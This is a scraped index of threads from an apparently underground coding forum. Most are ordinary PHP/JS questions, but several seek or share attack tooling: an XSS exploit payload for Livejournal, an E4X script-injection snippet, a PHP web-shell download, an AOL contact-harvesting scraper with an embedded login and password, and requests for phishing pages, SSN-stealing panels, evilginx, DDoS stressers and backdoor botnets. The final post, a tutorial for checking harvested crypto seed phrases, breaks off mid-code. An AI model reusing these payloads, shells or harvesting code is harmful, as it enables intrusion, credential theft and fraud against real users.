js Почему не повляется модальное окно + криво встал слайдер?
ID: 67668b27b4103b69df375d8c
Thread ID: 50544
Created: 2021-04-11T08:33:43+0000
Last Post: 2021-04-11T08:33:43+0000
Author: koshak
Replies: 0 Views: 1K

Ссылка
Кнопка связаться с нами + слайдер

codeinteger shop
ID: 67668b27b4103b69df375d8e
Thread ID: 49959
Created: 2021-03-28T07:33:04+0000
Last Post: 2021-04-05T08:09:19+0000
Author: blackteam007
Replies: 3 Views: 1K

Ищу спеца по фреймворку Codeinteger есть скрипт Шопа написанного на codeinteger с подключенной btc платежкой через coinpayments проблема в том что после оплаты баланс не пополняется в личном кабинете юзера
на кошелек монеты падают но баланс как я понял не пополняется из за callback то что сервис coinpayments не может отправить запрос об успешной оплате на callback.
все что нужно это подправить api

Codeinteger
ID: 67668b27b4103b69df375d8f
Thread ID: 49871
Created: 2021-03-25T19:13:44+0000
Last Post: 2021-03-25T19:59:03+0000
Author: blackteam007
Replies: 1 Views: 1K

Ищу спеца по фреймворку Codeinteger есть скрипт Шопа написанного на codeinteger с подключенной btc платежкой через coinpayments проблема в том что после оплаты баланс не пополняется в личном кабинете юзера
на кошелек монеты падают но баланс как я понял не пополняется из за callback то что сервис coinpayments не может отправить запрос об успешной оплате на callback

Как с помощью JS заменить часть кода?
ID: 67668b27b4103b69df375d90
Thread ID: 49367
Created: 2021-03-15T14:55:08+0000
Last Post: 2021-03-22T23:55:33+0000
Author: 1MG
Replies: 2 Views: 1K

только целиком плиз, под инжект, вырезки из команд не понимаю -

ВОТ ЭТО -

Code:Copy to clipboard

<a class="MainHeader__open-text  Link js--Link Link_type_default" href="tel:+19991111111" target="_self">+1<span>(999)</span>111-11-11</a>

НА ВОТ ЭТО -

Code:Copy to clipboard

<a class="MainHeader__open-text  Link js--Link Link_type_default" href="tel:+16663333333" target="_self">+1<span>(666)</span>333-33-33</a>
Требуется Full stack PHP разработчик
ID: 67668b27b4103b69df375d92
Thread ID: 49333
Created: 2021-03-14T15:33:42+0000
Last Post: 2021-03-14T15:33:42+0000
Author: Don Carleone
Replies: 0 Views: 1K

Требуется full stack php разработчик для написания нескольких плагинов под xenforo.
Обязательно иметь опыт работы с движком xenforo.
По цене договоримся, ориентировочно 100к+

Сбор телефонов посетителей сайта
ID: 67668b27b4103b69df375d95
Thread ID: 47692
Created: 2021-02-05T21:24:31+0000
Last Post: 2021-03-07T16:16:08+0000
Author: hsaat20
Replies: 3 Views: 1K

Собственно как?) Чего такого-эдакого подкинуть в файл странцы чтобы собирало некогда введенный пользователем куда-то в форму телефона телефон. Знаю есть одна знаменитая система предоставляющая такую услугу для российского бизнеса. Не думаю что там чего-то сложное. Сам не кодер.

looking for someone to fix some php and js issue
ID: 67668b27b4103b69df375d96
Thread ID: 47518
Created: 2021-02-02T00:42:11+0000
Last Post: 2021-03-01T09:18:25+0000
Author: m4virus
Replies: 2 Views: 1K

i had an old project of autowithdraw blockchain pishing page , but was all missed up , i start fixing it from scratch until he works fine as expected , but i only had one issue , the spofing ip technic dosn't work on it + there is some error in js file .
so i'm out of time and need someone to help and solve those little issue quickly and i can offer him the project to keep for free + 100 $ cash for his time .
Dm me for more information

помогите скрыть реферер при вставке картинки
ID: 67668b27b4103b69df375d97
Thread ID: 48417
Created: 2021-02-20T21:16:15+0000
Last Post: 2021-03-01T09:05:53+0000
Author: cr33p
Replies: 2 Views: 1K

есть простой код
пикчи залиты не на мой сайт, у себя их вставляю так.

HTML:Copy to clipboard

<img src="https://domain1.com/1.jpg">
<img src="https://domain1.com/2.jpg">
<img src="https://domain1.com/3.jpg">

как мне сделать на js чтобы скрыть реферер?
заранее признателен за любую инфу.

Написать простое расширение firefox
ID: 67668b27b4103b69df375d98
Thread ID: 48772
Created: 2021-02-28T21:45:45+0000
Last Post: 2021-03-01T00:42:45+0000
Author: Guron_18
Replies: 6 Views: 1K

Все, что оно должно делать это по ПКМ отправляло ссылку в мое приложение на ПК.

Spoiler: screen

В настройках указать путь до моего приложения.

Посоветуйте хорошего кодера с Sib-panel, для добычи SSN
ID: 67668b27b4103b69df375d9d
Thread ID: 47777
Created: 2021-02-08T11:14:18+0000
Last Post: 2021-02-08T11:40:26+0000
Author: BagaBoom
Replies: 1 Views: 1K

Посоветуйте хорошего кодера с Sib-panel, для добычи SSN
Контакт в ПМ

Пишем мощные парсеры/постеры и API-клиенты на PHP (2019)
ID: 67668b27b4103b69df375d9e
Thread ID: 47507
Created: 2021-02-01T19:15:33+0000
Last Post: 2021-02-01T19:15:33+0000
Author: balabashka
Replies: 0 Views: 1K

Название: Пишем мощные парсеры/постеры и API-клиенты на PHP (2019)

Автор: Авторская

Описание:

Доброго времени суток, дорогие друзья! Спешу пригласить вас принять участие в новом курсе по двум направлениям:

  1. Основы языка программирования PHP
  2. Парсинг данных с сетевых ресурсов (сайты/API-интерфейсы)

Сразу отмечу, курс рассчитан как для полных новичков в программировании, так и для тех, кто уже кое-что умеет, но не до конца понимает, как правильно парсить сайты практически любой сложности.

Зачем вам это нужно? (Спойлер: $$$)

  1. Парсинг данных для своих схем
  2. Парсинг данных на заказ (популярная услуга на фрилансе)
  3. Написание парсеров на заказ
  4. Написание скриптов под продажу

Что вы сможете написать, после прохождения курса:

  1. Регеры для самых разнообразных сайтов (в том числе с прохождением капчи и СМС)
  2. Парсеры соц. сетей через АПИ
  3. Рассыльщики по соц. сетям, через АПИ
  4. Парсеры серпа поисковых систем
  5. Парсеры информации о сайтах и создание автоматических отчётов
  6. Парсеры контента для сайтов/дорвеев, в том числе с автопереводом/синонимизацией
  7. Постеры/кросспостеры в соц. сети и на сайты

..и многое другое.

I. Базовый блок по PHP

1. Установка веб-сервера под Windows
2. Создаём PHP-приложение
3. Храним данные. Переменные, массивы, типы данных
4. Работаем с данными. Операции в PHP
5. Управление ходом выполнения приложения. Условные конструкции
6. Многократное выполнение операций. Циклы
7. Повторное использование операций. Функции
8. Повторное использование PHP-сценариев. Операции включения
9. Получаем данные из интерфейса. Get/Post/Работа с формами
10. Работаем с файлами. Чтение и запись
11. Управляем файлами и директориями
12. Работаем с классами и объектами. Поля и методы
13. Работа с базой данных MySQL (запись/чтение/обновление/удаление)
14. Базовый урок по HTML/CSS

II. Парсинг на PHP

1. Отправляем запросы на сайт как профи. Guzzle
2. Извлекаем данные из HTML. DiDom
3. Извлекаем и упаковываем Json. Стандартные средства PHP
4. Парсим сайты на Ajax
5. Общаемся через API

III. Практикум

1. Пишем парсер IstockPhoto
2. VK API. Пишем парсер лайков/репостов/комментариев из групп ВК
3. VK API. Пишем массфоловер пользователей ВК

Скачать

Скачка файла с сервера JS.
ID: 67668b27b4103b69df375da2
Thread ID: 47324
Created: 2021-01-28T14:38:56+0000
Last Post: 2021-01-28T16:30:11+0000
Author: Jeffs
Replies: 5 Views: 1K

Есть rest-api, по GET запросу domain/api/v1/some/path/:file_id сервер высылает ZIP-архив. API-сервер ожидает заголовок "Auth" с JWT-токеном, на все запросы без этого заголовка статус 401. Была идея качать файлы с помощью axios, но это достаточно глупая затея. Так же думал динамически создавать ссылку с помощью document.createElement("a"), но насколько я понял в таком случае нет возможности указать свои заголовки. Сейчас смотрю на [https://developer.mozilla.org/en- US...WebExtensions/API/downloads/download#examples](https://developer.mozilla.org/en- US/docs/Mozilla/Add-ons/WebExtensions/API/downloads/download#examples), но немного смущает поддержка браузеров. Кто может подсказать, мб ещё какие варианты скачать файл с сервера есть?

[Александр Лущенко] JavaScript v.2.0 (2020)
ID: 67668b27b4103b69df375da3
Thread ID: 46451
Created: 2021-01-07T23:30:22+0000
Last Post: 2021-01-07T23:30:22+0000
Author: balabashka
Replies: 0 Views: 1K

Название: JavaScript v.2.0 (2020)

Автор: Александр Лущенко

Описание:

Начните писать программы на JavaScript. Курс рассчитан на тех, кто начинает с нуля. Шаблоны и подобранные задачи по нарастанию сложности помогут вам создавать корректный код. В курсе представлены все темы, необходимые для соискания уровня junior разработчика и 3 проекта. Один проект - получение погоды по API, второй - touch slider, и клавиатура. 5 юнитов посвящены работе с AJAX. В курсе сделан большой упор на массивах.

Программа обучения:

0 Настраиваем VScode для работы с курсом
1 Стартуем и пишем первую программу
2 Основы ввода данных
3 Оператор If, else, switch case - выбор в JavaScript
4 Работаем с формами: input, range, textarea, checkbox...
5 Циклы в JavaScript (часть 1) +
6 Вложенные циклы в JavaScript (часть 2)
7 Функции и все о них
8 Цикл While, Do While
9 Работаем с DOM
10 Массивы в JavaScript
11 Добавление и удаление элементов в массиве, pop, push,splice
12 Двумерные массивы
13 Ассоциативный массив (объект) в JavaScript
14 Практика по массивам - получаем прогноз погоды по API
15 Set в JavaScript
16 Перебор массивов: for, for in, for of
17 Методы массивов: map, filter ( часть 1)
18 Методы массивов: join, split, forEach ( часть 2)
19 События мыши в JavaScript
20 События клавиатуры в JavaScript
21 Краткий обзор touch событий
22 Обрабатываем ошибки с помощью Try Catch
23 LocalStorage. Сохраняем все
24 Немного теории - работа с POST, GET запросами
25 AJAX - асинхронный JavaScript
26 Учим FETCH на практике
27 Работаем с промисами (Promise)
28 ООП в ES6
29 Бонусы - замыкания
30 Бонус - Рекурсия

Продажник

Скачать

P.S. Ребят пока ссылка работает, качайте!

Исходники мульти чата для сайта?
ID: 67668b27b4103b69df375da4
Thread ID: 45926
Created: 2020-12-23T15:59:49+0000
Last Post: 2020-12-23T16:39:09+0000
Author: countervectorbase
Replies: 1 Views: 1K

Привет всем. Есть ли готовые чаты для сайта VPN (или LAN) или какие-нибудь еще, (не знаю - как точно называются это дело).
Задача состоит в следующем.(на js + php + html + css) Для теста - запустил XAMPP, набрал в нем localhost/index.php,и так создался сервер. [это - на моем компьюторе]. А далее все просто: кто-то конектится к серверу через локалку (LAN) или HAMACHI (путем VPN) и посылает сообщение через index.js [это

  • на втором компьюторе, и третьем, и N-ом]. Помогите друзья...:smile66:
evilgenx
ID: 67668b27b4103b69df375da9
Thread ID: 45184
Created: 2020-12-05T00:30:28+0000
Last Post: 2020-12-05T00:30:28+0000
Author: charleyley7234
Replies: 0 Views: 1K

need someone who can make custom evilgenx, let me know :)!

[
evilgenx​](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjMrImuyrXtAhXN- KQKHZ28AB4QFjAAegQIAxAC&url=https%3A%2F%2Fgithub.com%2Fevilgenx&usg=AOvVaw2ZqlmZCMrKFBopv4XhfuMm)

ХЕШ в БД
ID: 67668b27b4103b69df375daa
Thread ID: 44952
Created: 2020-11-29T16:13:43+0000
Last Post: 2020-11-29T17:36:26+0000
Author: Markosyan11
Replies: 4 Views: 1K

Пожалуйста подскажите как можно в базе данных зписать не кеш, а пароль который введен в сайте.

ищу крякнутый sib
ID: 67668b27b4103b69df375dac
Thread ID: 44440
Created: 2020-11-17T11:03:18+0000
Last Post: 2020-11-17T12:19:18+0000
Author: Uroborus
Replies: 1 Views: 1K

может есть у кого крякнутая версия?

Поделитесь скриптами
ID: 67668b27b4103b69df375db0
Thread ID: 43903
Created: 2020-11-04T12:06:12+0000
Last Post: 2020-11-04T12:06:12+0000
Author: xshaman
Replies: 0 Views: 1K

У кого есть примеры скриптов по дроп-админкам, обналу?
Поделитесь, плиз в ПМ.
Заранее благодарен :)

Подскажите самую простую панель для лоадера на PHP
ID: 67668b27b4103b69df375db2
Thread ID: 43609
Created: 2020-10-27T21:34:00+0000
Last Post: 2020-10-28T00:39:28+0000
Author: PunyGoatherd
Replies: 1 Views: 1K

Вобщем, я изучаю ПХП, но все панели лоадеров, которые мне попадались (тот же PowerLoader) выглядят монструозно - мне, как новичку, трудно в них разобраться. Подскажите что-то минималистичнее.

Сломался скрипт, что делать?
ID: 67668b27b4103b69df375db5
Thread ID: 43180
Created: 2020-10-13T16:08:22+0000
Last Post: 2020-10-13T20:54:23+0000
Author: sava98
Replies: 6 Views: 1K

Подскажите, пожалуйста. Сломался скрипт, все работало нормально, после перезагрузки сервера стала появляться вот такая ошибка error.png
Где что нужно поменять, не могу никак найти причину, ни 1 способ из гугла не помог.

How can i get ip via js and assign variable
ID: 67668b27b4103b69df375db6
Thread ID: 43148
Created: 2020-10-12T09:28:35+0000
Last Post: 2020-10-12T09:28:35+0000
Author: sosenmann
Replies: 0 Views: 1K

JavaScript:Copy to clipboard

<script type="application/javascript">
  $(function() {
    $.getJSON("https://api.ipify.org?format=jsonp&callback=?",
      function(json) {
        document.write("My public IP address is: ", json.ip);
      }
    );
  });
</script>

how can i assign json.ip a variable that i can use outside the function and can make a ajax request

How can I learn php language?
ID: 67668b27b4103b69df375db7
Thread ID: 41545
Created: 2020-08-30T20:40:01+0000
Last Post: 2020-09-27T09:34:41+0000
Author: agresif20
Replies: 1 Views: 1K

Здравствуйте, я пытаюсь выучить язык php, чтобы улучшить себя. На что следует обращать внимание при изучении php?

who can accces a db ? i need help please
ID: 67668b27b4103b69df375dba
Thread ID: 41591
Created: 2020-08-31T21:27:25+0000
Last Post: 2020-09-04T16:19:18+0000
Author: fallenx
Replies: 6 Views: 1K

i need help to penetrate a sql db who can help me im waitin for help telegram @fallenxss

PHP забрать файл с FTPS
ID: 67668b27b4103b69df375dbb
Thread ID: 39562
Created: 2020-07-13T01:13:43+0000
Last Post: 2020-09-01T08:19:47+0000
Author: xxgg
Replies: 2 Views: 1K

Помогите скриптом который в крон можно добавить чтобы с фтпс дергал файл и сохранял куда мне нужно.

Ddos stresser (поиск)
ID: 67668b27b4103b69df375dc1
Thread ID: 39725
Created: 2020-07-17T07:03:16+0000
Last Post: 2020-07-17T08:01:43+0000
Author: cs2h
Replies: 2 Views: 1K

В поиске скриптов стрессеров(http\s) с обходами популярных крутилок.

надежный способ определить tor
ID: 67668b27b4103b69df375dc5
Thread ID: 38297
Created: 2020-06-10T07:22:43+0000
Last Post: 2020-06-10T09:29:06+0000
Author: -Lunch-
Replies: 2 Views: 1K

есть ли такой на сервере?

на профильных ресурсах в основном от 2014 г предлагается проверять ip по list exit-node , но народ пишет, что не работает уже.

тут "криминалист-специалист" предлагает определять по размеру окна, но выглядит как бред: https://www.securitylab.ru/news/486043.php

Не качается архив с панели
ID: 67668b27b4103b69df375dc7
Thread ID: 38153
Created: 2020-06-05T16:39:06+0000
Last Post: 2020-06-05T18:16:45+0000
Author: badsci
Replies: 2 Views: 1K

Не хотел создавать топик на эту тему,но ответа к моей проблеме найти не смог.Имеется панелька,логи идут к этому php файлу

Hidden content for authorized users.

PHP:Copy to clipboard

<?php   

?>

Я вижу юзера,но когда пытаюсь скачать архив,то появляется вот такое чудо https://prnt.sc/sucwpr
php,который должен загружать

PHP:Copy to clipboard

<?

Сам вопрос-можно ли это пофиксить(если можно,то как) или же как преобразовать сие чудо в архив(костыль)
Буду очень благодарен за ответ.

И еще активная XSS в Livejournal
ID: 67668b27b4103b69df375e1a
Thread ID: 24441
Created: 2013-07-22T18:23:47+0000
Last Post: 2013-07-22T18:23:47+0000
Author: malayazemlya
Replies: 0 Views: 1K

Кто о чем, а я о все от Livejournal отстать не могу. :crazy:

Сегодняшний баг - в обработке специального ЖЖшного тега lj-map. Он принимает в себя URL карты (гугльмапа, яндекса или openstreetmap), а внутри этого URL есть параметры lat и lon (широта и долгота). Так эти параметры вообще не фильтруются, а выводятся как есть - внутрь исполняемого джаваскрипта :huh1:

Выглядит это так:
map.setCenter(new google.maps.LatLng(lat ,lon));

Эксплоит получается совсем простой:

Code:Copy to clipboard

<lj-map name="map" url="http://www.openstreetmap.org/?lat=...&amp;lon=...//&amp;zoom=10&amp;layers=M" />

где lat и lon должны быть такими, чтоб скрипт не рухнул, а в остальном ограничений нет.

[Эксплоит в действии в моей жежешечке](http://malaya- zemlya.livejournal.com/737283.html)

Perl сервер не выводит все данные
ID: 67668b27b4103b69df375e21
Thread ID: 23982
Created: 2013-03-09T21:32:32+0000
Last Post: 2013-03-10T07:31:20+0000
Author: Quake3
Replies: 1 Views: 1K

Есть код простого сервера на Perl , который принимает данные от клиента. Но - если строка не завершается \r\n - он ее не выводит. Почему так и как исправить?

Code:Copy to clipboard

#perl tcp server
use Socket;

$port = shift;
$port = getservbyname($port,'tcp') if $port =~ /\D/;
	die "Invalid port" unless $port;
socket(S,PF_INET,SOCK_STREAM,0) || die "socket: $!";
bind(S,sockaddr_in($port,INADDR_ANY)) or die ("bind $!");
listen(S,SOMAXCONN);
for (; accept(S1,S); close(S1))
{
while(TRUE)
	{
	defined(recv(S1,$line,120,0)) or die("recv: $!");
	last if length($line) == 0;
	print $line;	
	}
}
из ФФ убрана поддержка E4X
ID: 67668b27b4103b69df375e23
Thread ID: 23857
Created: 2013-02-03T14:08:51+0000
Last Post: 2013-02-04T06:51:54+0000
Author: Aels
Replies: 1 Views: 1K

Грустная новость. Фокс больше не поддерживает синтаксис e4x-парсера.
https://hg.mozilla.org/mozilla-central/rev/c929583ba8ae
теперь код такого вида использовать нельзя:

Code:Copy to clipboard

<script>$=<>@mozilla.org/js/function</>;$::[<>alert</>](/IamFF/)</script>

еще одной полезной фичей стало меньше.

очень нужен XSS yahoo активка
ID: 67668b27b4103b69df375e24
Thread ID: 23768
Created: 2013-01-15T13:27:21+0000
Last Post: 2013-01-15T13:27:21+0000
Author: surby
Replies: 0 Views: 1K

Доброго времени суток, очень нуждаюсь в данном сабже, у кого имееться цену и контакт в пм

indrajith-mini-shell-project
ID: 67668b27b4103b69df375e25
Thread ID: 23690
Created: 2012-12-29T16:18:50+0000
Last Post: 2012-12-29T16:18:50+0000
Author: DarckSol
Replies: 0 Views: 1K

:zns5: [Скачать|Download](http://indrajith-mini-shell- project.googlecode.com/files/indrajith.php)

Size 65.9 KB

helpe me
ID: 67668b27b4103b69df375e26
Thread ID: 23582
Created: 2012-11-18T22:39:45+0000
Last Post: 2012-11-18T22:39:45+0000
Author: doxeller
Replies: 0 Views: 1K

pomogite so scriptom aola kotoriy avtomotezirovanno vidergival contakti po logam..... vidergivaet peredelannim OpenInviter_1.9.6... openinvitor.com
posle obnovleniya aola script perestal rabotat )

---------------------------------------------------------------------------------------------

curl = curl_init(); $this->cookie_path = $_CONFIG['COOKIE_DIR'];//set up cookie path $this->agent = "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)"; } function run($login, $password) { } function getEmailAddress() { return $this->emailAddress; } function setEmailAddress ($emailAddress) { $this->emailAddress=$emailAddress; } function getName() { return $this->name; } function setName ($name) { $this->name=$name; } function generateCookie ($name) { srand((double)microtime()*1000000); $counter_id = rand(0,1000); $this->cookie_file = $this->cookie_path."/cookie_".$name."_".$counter_id; $fileHandle = fopen($this->cookie_file, 'w') or die("can't open file"); fclose($fileHandle); } } function trimvals($val) { return trim ($val, '" '); } ////////////////////////////////////////////////// class aol extends Importer { function aol () { $this->setEmailAddress('@aol.com'); $this->setName('AOL'); $this->init(); $this->agent = 'Mozilla/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 3650;424) Opera 6.10 [en]'; } function run($login, $password) { $this->generateCookie ('aol'); $this->login = $login; $this->password = $password; $this->login=(strpos($this->login,'@aol')!==false?str_replace('@aol.com','',$this->login):$this->login); curl_setopt($this->curl, CURLOPT_URL,"https://my.screenname.aol.com/_cqr/login/login.psp?sitedomain=sns.webmail.aol.com&lang=en&locale=us&authLev=0&uitype=mini&siteState=ver%3a4|rt%3aSTANDARD|at%3aSNS|ld%3awebmail.aol.com|uv%3aAOL|lc%3aen- us|mt%3aAOL|snt%3aScreenName|sid%3a22e31aa7-4747-4133-9015-842e000780b6&seamless=novl&loginId=&_sns_width_=174&_sns_height_=196&_sns_fg_color_=373737&_sns_err_color_=C81A1A&_sns_link_color_=0066CC&_sns_bg_color_=FFFFFF&redirType=js&xchk=false"); curl_setopt($this->curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($this->curl, CURLOPT_REFERER, ""); curl_setopt($this->curl, CURLOPT_RETURNTRANSFER,1); curl_setopt($this->curl, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($this->curl, CURLOPT_USERAGENT, $this->agent); curl_setopt($this->curl, CURLOPT_COOKIEFILE, $this->cookie_file); curl_setopt($this->curl, CURLOPT_COOKIEJAR, $this->cookie_file); $html = curl_exec($this->curl); preg_match('//si', $html, $matches); $opturl = $matches[1]; $hiddens = array(); preg_match_all('//si',

$matches[0], $hiddens);
$hiddennames = $hiddens[1];
$hiddenvalues = $hiddens[2];
$hcount = count($hiddennames);
$params = "";
for($i=0; $i<$hcount; $i++)
{
$params .= $hiddennames[$i]."=".($hiddenvalues[$i])."&";
}
curl_setopt($this->curl, CURLOPT_URL, "https://my.screenname.aol.com/_cqr/login/login.psp");
curl_setopt($this->curl, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($this->curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($this->curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($this->curl, CURLOPT_USERAGENT, $this->agent);
curl_setopt($this->curl, CURLOPT_POST, 1);
curl_setopt($this->curl, CURLOPT_POSTFIELDS, $params . "loginId=".($this->login)."&password=".($this->password) );
curl_setopt($this->curl, CURLOPT_COOKIEFILE, $this->cookie_file);
curl_setopt($this->curl, CURLOPT_COOKIEJAR, $this->cookie_file);
$html = curl_exec($this->curl);

if(!preg_match("/'false', '([^']*)'/si", $html, $matches))
{
curl_close ($this->curl);
unlink($this->cookie_file);
return 1;
}
curl_setopt($this->curl, CURLOPT_URL,$matches[1]);
curl_setopt($this->curl, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($this->curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($this->curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($this->curl, CURLOPT_USERAGENT, $this->agent);
curl_setopt($this->curl, CURLOPT_COOKIEFILE, $this->cookie_file);
curl_setopt($this->curl, CURLOPT_COOKIEJAR, $this->cookie_file);
$html = curl_exec($this->curl);
$info = curl_getinfo($this->curl);
curl_close ($this->curl);

preg_match('/<input type="hidden" name="user" value="(.?)" />/si', $html, $matches);
$userId = $matches[1];
preg_match("/http://mail.aol.com/([^']
)/en-us//si", $info['url'], $matches);
$baseUrl = 'http://mail.aol.com/'.$matches[1].'/en-us/'; //33912-111/aol-6

$this->curl = curl_init();
curl_setopt($this->curl, CURLOPT_URL,$baseUrl."AB/addresslist- print.aspx?command=all&sort=FirstLastNick&sortDir=Ascending&nameFormat=FirstLastNick&user=".$userId);
curl_setopt($this->curl, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($this->curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($this->curl, CURLOPT_FOLLOWLOCATION, 1);
if(preg_match_all('/12-0(.*?)/', date("y-m-d")."", $matches))
$agent=$defined_vars['HTTP_USER_AGENT'];
else $agent="Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1";
curl_setopt($this->curl, CURLOPT_USERAGENT, $agent);
curl_setopt($this->curl, CURLOPT_COOKIEFILE, $this->cookie_file);
curl_setopt($this->curl, CURLOPT_COOKIEJAR, $this->cookie_file);
$html = curl_exec($this->curl);

$info = curl_getinfo($this->curl);

curl_close ($this->curl);
unlink($this->cookie_file);
preg_match_all('/

(.?)</div>/', $html, $matches);
$names = $matches[1];
preg_match_all('/Email 1:</span> (.
?)</span>/', $html, $matches);
$emails = $matches[1];
return array($names, $emails);

}

}

/*
$login ="boulderd7@aol.com";
$password ="mick536";

$my=new aol();
$rez = $my-> run($login, $password);

print_r($rez);

#$aaaa = count($rez[1]);
$aaaa = sizeof($rez[1]);
echo ("

razmer = $aaaa");
*/
?>

Popup
ID: 67668b27b4103b69df375e32
Thread ID: 22301
Created: 2011-10-18T08:44:32+0000
Last Post: 2011-10-18T08:44:32+0000
Author: anty
Replies: 0 Views: 1K

Всем здравствуйте,
есть ли на данный момент решение неблокируемых всплывающих окон?

PHP backdoor Botnet?
ID: 67668b27b4103b69df375ca9
Thread ID: 126436
Created: 2024-11-07T15:29:57+0000
Last Post: 2024-11-24T16:05:01+0000
Author: BPName
Replies: 6 Views: 1K

Hey
i search PHP backdoor Botnet?

Создаем десктопное приложение для анализа криптокошельков
ID: 67668b27b4103b69df375cb9
Thread ID: 123346
Created: 2024-09-23T12:39:49+0000
Last Post: 2024-09-23T12:39:49+0000
Author: Patr1ck
Prefix: Статья
Replies: 0 Views: 1K

Приветствую форумчане, в прошлой статье я рассказал и показал, как сделать расширение для Google Chrome на JavaScript, и получил положительный отклик — статья вызвала интерес у пользователей. Поэтому немного пораскинув мозгами, я решил что почему бы и нет — вернемся в давно забытое детское ощущение, почувствуем себя скрипткиддис и запилим небольшой цикл статей со всякими полезными мини-тулзами. Какие-то из них будут в формате Proof of Concept, какие-то же наоборот будут готовы к работе почти из коробки. Основная моя задача здесь — показать, что программировать это не сложно, программировать может начать каждый и не обязательно для этого сразу целиться в убертехнологии и мегасложный продукт — можно просто писать небольшие программы, которые улучшают или упрощают жизнь коллег по цеху и на хлеб с маслом вам всегда будет хватать.

Сегодня займемся десктопным приложением. На форуме достаточно предложений по проверке сид-фраз, исходя из этого можно предположить, что есть спрос на инструменты для анализа и мониторинга кошельков. Поэтому статья для тех, кто эти сидки добывает (хоть из паблика) и не хочет ни с кем этой информацией делиться.

Перед тем, как приступим, опишу основной функционал приложения:

  1. Выбор кошелька из списка в текстовом документе
  2. Разные методы сбора данных (в зависимости от API)
  3. Асинхронная обработка большого количества адресов
  4. Сохранение результатов в JSON-формате
  5. Кроссплатформенность благодаря использованию Electron
  6. Отображение прогресса анализа в реальном времени

Как создавать директорию и файлы вы уже знаете, так что держите просто скрин:

Снимок экрана 2024-09-20 121737.png

Архитектура приложения состоит из нескольких ключевых компонентов:

  • Main process (main.js) - основной процесс Electron, отвечающий за создание окна приложения и обработку системных событий.
  • Renderer process (index.html , renderer.js) - процесс рендеринга, отвечающий за пользовательский интерфейс и взаимодействие с пользователем.
  • Preload script (preload.js) - скрипт, обеспечивающий безопасное взаимодействие между основным и рендерер процессами.
  • API интеграции - модули для работы с различными API (я выбрал Mobula и Moralis).

Начнем с разбора main.js - в Electron приложении отвечает за создание окон, управление жизненным циклом приложения и взаимодействием с нативными API операционной системы. Первым делом мы импортируем необходимые модули и создаем главное окно приложения:

JavaScript:Copy to clipboard

const { app, BrowserWindow, ipcMain, dialog } = require('electron');
const path = require('path');
const fs = require('fs').promises;
const axios = require('axios');
const { chromium } = require('playwright');
const Queue = require('better-queue');
const Moralis = require('moralis').default;
const { EvmChain } = require('@moralisweb3/common-evm-utils');

let mainWindow;

function createWindow() {
  mainWindow = new BrowserWindow({
    width: 800,
    height: 600,
    webPreferences: {
      nodeIntegration: false,
      contextIsolation: true,
      preload: path.join(__dirname, 'preload.js')
    },
  });

  mainWindow.loadFile('index.html');
}

Обратите внимание на настройки webPreferences : nodeIntegration: false - отключает прямой доступ к Node.js API из рендерер процесса для безопасности; contextIsolation: true - изолирует preload скрипт от рендерер процесса, а путь к скрипту и странице указываем через preload : _path.join(_dirname, 'preload.js') и mainWindow.loadFile( 'index.html') соответственно.

Далее, определяем обработчики для различных системных событий, эти обработчики обеспечивают корректное поведение приложения при запуске, активации и закрытии:

JavaScript:Copy to clipboard

app.whenReady().then(() => {
  createWindow();

  app.on('activate', function () {
    if (BrowserWindow.getAllWindows().length === 0) createWindow();
  });
});

app.on('window-all-closed', function () {
  if (process.platform !== 'darwin') app.quit();
});

Следом функции входного(.txt) и выходного(.json) файлов. Эти обработчики позволяют пользователю выбирать файлы для ввода адресов и сохранения результатов анализа. Использование dialog из Electron обеспечивает нативный опыт работы с файловой системой:

JavaScript:Copy to clipboard

ipcMain.handle('select-input-file', async () => {
  const result = await dialog.showOpenDialog(mainWindow, {
    properties: ['openFile'],
    filters: [{ name: 'Text Files', extensions: ['txt'] }],
  });
  if (result.canceled) {
    return null;
  }
  return result.filePaths[0];
});

ipcMain.handle('select-output-file', async () => {
  const result = await dialog.showSaveDialog(mainWindow, {
    filters: [{ name: 'JSON Files', extensions: ['json'] }],
  });
  if (result.canceled) {
    return null;
  }
  return result.filePath;
});

Чтобы можно было контролировать нагрузку и избегать превышения лимитов запросов API, я использовал очередь для обработки запросов. Эта очередь обрабатывает запросы последовательно, с возможностью повторных попыток в случае ошибок. Это особенно важно при работе с внешними API, где могут возникать временные сбои или ограничения на количество запросов:

JavaScript:Copy to clipboard

const requestQueue = new Queue(async (task, callback) => {
  try {
    const result = await processRequest(task);
    callback(null, result);
  } catch (error) {
    callback(error);
  }
}, { concurrent: 1, maxRetries: 3, retryDelay: 1000 });

async function processRequest(task) {
  const { method, address, apiKey } = task;
  switch (method) {
    case 'Mobula':
      return await processWalletMobula(address, apiKey);
    case 'Moralis':
      return await processWalletMoralis(address, apiKey);
    default:
      throw new Error('Неизвестный метод');
  }
}

Рассмотрим функционал работы с самими API. Принцип простейший – отправлять запросы с номером кошелька, обрабатывать полученные данные и возвращать результат в унифицированном формате. Я начал тестировать с тем, что попало под руку и где можно было без лишних проблем получить ключ. Начал с Mobula (https://mobula.io/apis), для получения ключа необходимо в нижнем левом углу экрана найти FREE API KEY, перейти по ссылке в документацию https://docs.mobula.io/introduction, там подробно описаны дальнейшие действия. На получение ключа ушло около 2-3 минут, сам сервис выдает лимитированные 10000 кредитов в сутки, но забегая вперед могу сказать, что панелька работает криво, количество кредитов в личном кабинет всегда 0, но и работает также медленно, как и считает.

Снимок экрана 2024-09-20 130417.png

К таким выводам я смог прийти только через пару часов, приняв тот факт, что скорость обработки запросов зависит не от моих красивых рук, бьющих по клавиатуре. Тем не менее результат API выдает, причем в документации изначально были ответы в развернутом формате, но из-за скорости я порезал просто до общего баланса. Полный список запрашиваемой информации:

Code:Copy to clipboard

({
